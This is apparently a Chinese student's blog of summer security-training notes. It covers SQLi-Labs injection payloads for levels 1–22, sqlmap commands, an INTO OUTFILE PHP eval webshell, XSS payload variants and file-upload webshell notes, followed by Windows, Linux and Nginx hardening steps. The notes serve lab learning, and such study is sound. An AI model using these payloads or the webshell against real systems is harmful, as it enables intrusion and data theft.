2025暑期实训笔记

环境搭建

虚拟机与系统安装

  • 虚拟机:VMware Workstation 17(16 及以下版本兼容性问题较多)
  • UOS(统信操作系统):基于 Debian 深度定制的国产 Linux 发行版
    • VMware 中选 Ubuntu 64 位兼容,不要选 Linux 5.x 内核
    • 安装时硬盘建议 ≥ 64G,向导默认仅 20G,需手动调整
  • Win7 虚拟机:用于安全加固实验

LNMP/WAMP 网站架构

1
2
3
4
5
6
7
用户端(浏览器)
↓ HTTP/HTTPS
中间件(Nginx / Apache) ←→ Web应用(DVWA等)
↓ 动态请求
PHP 脚本解析器
↓ 查询/操作
MySQL / MariaDB
层级 组件 作用
用户端 浏览器 发起 HTTP 请求
中间件 Nginx / Apache 接收请求、处理静态资源、反向代理
脚本解析 PHP 执行 Web 应用代码
数据库 MySQL / MariaDB 存储和查询数据

核心流程:用户 → 中间件 → 脚本解析 → 数据库 → 返回响应。理解这个流程即可快速定位攻击面(中间件漏洞、SQL 注入点、文件上传绕过等)。

Docker 环境

  • Windows 推荐 Docker Desktop + WSL2:cmd 和 WSL bash 中的 docker 命令等效,无需在 WSL 中重复安装
  • 实训部署靶场:crAPI(API 安全靶场)
  • 常见问题:国内 Docker 镜像源被封禁,需配置镜像加速

工具

Yakit

国产 Web 安全工具,与 BurpSuite 同类,功能强大。

BurpSuite

Web 安全测试的标配工具,用于抓包、改包、重放、爆破等。

sqlmap

自动化 SQL 注入工具。常用参数:

1
2
3
4
5
sqlmap -u "<URL>" --dbs                          # 爆数据库
sqlmap -u "<URL>" -D <库名> --tables # 爆表
sqlmap -u "<URL>" -D <库名> -T <表名> --columns # 爆列
sqlmap -u "<URL>" -D <库名> -T <表名> --dump # 导出数据
sqlmap -u "<URL>" --technique=T --batch --threads=1 --current-db # 时间盲注

SQL 注入

基础概念

  • 数字型注入:参数直接拼接为数字,如 WHERE id = $id
  • 字符型注入:参数被引号包裹,如 WHERE username = '$name'

三条万能技巧

  1. 先找闭合符:在参数后加 '、"、)、')、") 等,根据报错信息确定
  2. 再看回显位:ORDER BY n 确定列数,UNION SELECT 1,2,3… 找回显位置
  3. 无回显就报错或盲注:
    • 报错函数:updatexml、extractvalue、floor(rand(0)*2)
    • 盲注:IF(expr, SLEEP(n), 0) 时间型,或布尔逻辑判断

Less 1~22 速查表

Less 注入类型 闭合 核心 Payload
1 GET 字符型回显 ' -1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
2 GET 数字型回显 无 同上,去掉引号
3 GET 字符+括号 ') -1') UNION SELECT 1,2,3--+
4 GET 双引号+括号 ") -1") UNION SELECT 1,2,3--+
5 GET 字符型报错 ' 1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+
6 GET 双引号报错 " 同 5,单引号改双引号
7 GET 字符+双括号 ')) 1')) UNION SELECT 1,'<?php @eval($_POST[x]);?>',3 INTO outfile '/var/www/html/shell.php'--+
8 GET 字符盲注 ' 1' AND IF(substr(database(),1,1)='s',SLEEP(3),0)--+
9 GET 字符时间盲注 ' 1' AND IF(length(database())>5,SLEEP(3),0)--+
10 GET 双引号时间盲注 " 同 9,单引号改双引号
11 POST 字符型 ' uname=1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()#
12 POST 双引号+括号 ") uname=1") UNION SELECT 1,database()#
13 POST 字符+括号报错 ') uname=admin') AND extractvalue(1,concat(0x7e,database()))#
14 POST 双引号报错 " 同 13,仅符号差异
15 POST 时间盲注 ' uname=admin' AND IF(length(database())=8,SLEEP(3),0)#
16 POST 时间盲注 ") 同 15,双引号+括号版
17 POST 修改密码报错 ' 注入点在 passwd 字段:passwd=1' AND updatexml(1,concat(0x7e,database()),1)#
18 POST UA头报错 ' User-Agent: ',updatexml(1,concat(0x7e,database()),1),1)#
19 POST Referer报错 ' Referer: ' AND extractvalue(1,concat(0x7e,database()))--+
20 Cookie 联合 ' Cookie: uname=-1' UNION SELECT 1,database(),3--+
21 Cookie base64 ') 同 20,但 Cookie 值需整体 base64 编码
22 Cookie base64 " 同 21,闭合符改为 "

通用注入步骤

以 Less-2(数字型)为例:

  1. 确认注入点:?id=1' 报错 → 存在注入
  2. 判断类型:?id=1 和 ?id=2-1 返回相同 → 数字型
  3. 确定列数:?id=1 ORDER BY n--+ 二分法确定
  4. 找显示位:?id=-1 UNION SELECT 1,2,3--+
  5. 爆库名:?id=-1 UNION SELECT 1,2,database()--+
  6. 爆表名:
    1
    ?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
    或过滤系统表:
    1
    WHERE table_schema="security"
  7. 爆列名:
    1
    ?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name="users"--+
  8. 导出数据:
    1
    ?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users--+

报错注入原理

核心函数:updatexml(xml_document, XPath_string, new_value)

通过构造非法 XPath 表达式触发报错,将 SQL 查询结果”带”出来:

1
1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+
  • 0x7e = ~,用作分隔标记
  • 报错信息中会显示 concat 拼接的内容,从而泄露数据

同类函数:extractvalue(1, concat(0x7e, (SELECT ...)))

布尔盲注

无回显、无报错,但页面状态有差异时使用:

1
2
1' AND ascii(substr((SELECT database()),1,1))=115--+  -- 逐字符爆破
1' AND (SELECT count(*) FROM mysql.user)>0--+ -- 检查权限

时间盲注

完全无差异时使用:

1
1' AND IF(substr(database(),1,1)='s',SLEEP(3),0)--+

文件写入(INTO OUTFILE)

条件:需要 MySQL FILE 权限,且知道 Web 路径

1
1')) UNION SELECT 1,'<?php @eval($_POST[x]);?>',3 INTO outfile 'C:\\path\\to\\shell.php'--+

检查权限和路径:

1
2
SELECT @@secure_file_priv;     -- 查看写入限制
SELECT @@datadir; -- 查看数据目录

POST 注入

注入点在 POST 请求体中,需用 BurpSuite 或 HackBar 发送:

1
2
3
POST /login.php HTTP/1.1
...
uname=admin' OR 1=1#&passwd=任意

HTTP 头注入

注入点可在 User-Agent、Referer、Cookie 等请求头中。先正常登录一次,再抓包重放并在对应头中注入。


XSS(跨站脚本攻击)

概念

攻击者将恶意 JS 代码注入到受害者的浏览器中执行。

危害

  1. 窃取 Cookie 实现账号接管
  2. 控制前端页面内容,进行钓鱼或舆论操控

JS 代码执行方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 1. script 标签直接嵌入 -->
<script>alert(1);</script>

<!-- 2. 事件属性 -->
<input name="keyword" value="" onmouseover="alert(1)">

<!-- 3. JS 伪协议 -->
<a href="javascript:alert(1)">aaa</a>

<!-- 4. HTML 实体编码绕过 -->
<a href="javasc&#114;ipt:alert(1)">aaa</a>

<!-- 5. img 标签 onerror 自动执行 -->
<img src="x" onerror="alert(1)">

修复思路

  1. Set-Cookie 加 HttpOnly:防止 JS 读取 Cookie
  2. 输入检查与转义:对用户输入做 HTML 实体编码
  3. 富文本使用白名单:优先使用成熟编辑器,自研则严格过滤标签

文件上传

  • 上传漏洞利用:绕过类型/大小限制,上传 WebShell
  • upload-labs 靶场练习
  • Python 编写自动化 exp/poc 脚本通过 upload-labs

安全加固

Windows 系统加固

账户管理

  1. 禁用无用账户(Guest 等)— 计算机管理 → 本地用户和组
  2. 按需分配账户:管理员、数据库、审计、来宾用户分开
  3. 定期清理无关账户
  4. 不显示最后用户名 — gpedit.msc → 安全设置 → 本地策略 → 安全选项
  5. 检查影子账户 — 注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下排查重复默认值

口令策略(gpedit.msc → 账户策略 → 密码策略)

  • 密码长度 ≥ 8 位,启用复杂性要求(大小写字母、数字、特殊字符至少两种)
  • 密码最长使用期限 ≤ 90 天
  • 账户锁定策略:连续输错 N 次锁定 M 分钟

授权

  • 远程/本地关机:仅分配给 Administrators 组
  • 取得文件所有权:仅分配给 Administrators 组
  • 允许本地登录 / 网络访问:指定授权用户

日志配置

  • 记录登录账户、是否成功、时间、远程登录 IP
  • 开启防火墙(firewall.cpl)

配置途径

  • 组策略(gpedit.msc)
  • 命令行(cmd / PowerShell / bat / ps1)
  • 注册表(regedit)
  • 配置文件

Linux 系统加固

账号与口令

1
2
3
4
5
6
7
8
# 删除/锁定无用账户
userdel <用户名>
passwd -l <用户名> # 锁定
passwd -u <用户名> # 解锁

# 检查空口令和 UID=0 账户
awk -F: '($2=="")' /etc/shadow
awk -F: '($3==0)' /etc/passwd # 仅 root 应为 0

修改 /etc/login.defs 配置密码策略:

1
2
3
PASS_MAX_DAYS  90    # 最长使用天数
PASS_MIN_DAYS 0 # 最短使用天数
PASS_WARN_AGE 7 # 到期前提醒天数

修改 /etc/pam.d/common-auth 配置登录锁定:

1
2
auth required pam_tally.so onerr=fail deny=3 unlock_time=300
# 输错 3 次锁定 5 分钟

服务管理

1
2
3
4
5
6
# 关闭不必要的开机自启服务
systemctl disable <服务名>
systemctl list-unit-files --type=service --state=enabled

# 老旧系统(CentOS 6)
chkconfig --level <级别> <服务名> off

SSH 加固(/etc/ssh/sshd_config)

1
2
3
PermitRootLogin no         # 禁止 root 直接登录
Protocol 2 # 使用 SSH 协议 v2
MaxAuthTries 3 # 密码错误次数限制

文件系统

  • 设置 umask 值控制默认权限
  • 配置 TMOUT 实现登录超时自动退出

日志

Linux 默认日志类型:

  • 系统日志:/var/log/messages
  • cron 日志:/var/log/cron
  • 安全日志:/var/log/secure

可在 /etc/profile 中配置命令历史记录到文件,便于审计。

Nginx 配置加固

参考有道云笔记:https://note.youdao.com/s/Pdn507wq

日志配置

在 nginx.conf 中添加日志格式(http 块内):

1
2
3
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

在 server 块内指定日志路径:

1
2
access_log /var/log/nginx/access.log main;
error_log /var/log/nginx/error.log;

配置后执行:

1
sudo nginx -t && sudo systemctl reload nginx

安全配置

禁止目录浏览:

1
autoindex off;

限制目录执行权限(放在 location ~ \.php{...} 之前):

1
2
3
location ~ /attachments/.*\.(php|php5)?$ {
deny all;
}

注意:路径必须使用相对路径。

错误页面重定向:

1
2
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;

隐藏版本信息:

1
server_tokens off;

限制 HTTP 请求方法:

1
2
3
if ($request_method !~ ^(GET|HEAD|POST)$) {
return 444;
}

限制 IP 访问:

1
2
allow 192.168.1.0/24;
deny all;

配置文件备份:修改前务必备份 nginx.conf。


AP 隔离

AP Isolation(接入点隔离)是一种无线网络安全设置。启用后,同一 AP 下的无线客户端无法相互通信,只能与有线网络通信。通常通过 VLAN 技术实现,适用于公共 Wi-Fi 场景。


相关靶场

  • SQLi-Labs:SQL 注入练习(Less 1~22)
  • DVWA:综合 Web 漏洞练习平台
  • crAPI:API 安全靶场(Docker 部署)
  • upload-labs:文件上传漏洞练习
  • DC-9:Kali 渗透测试靶机(NAT 模式,探测不到时需重启)

实训截图


2025暑期实训笔记
https://47.108.189.123/2025/07/20/实习经历/暑期实训-2025/学习笔记/
Author
Dong
Posted on
July 20, 2025
Licensed under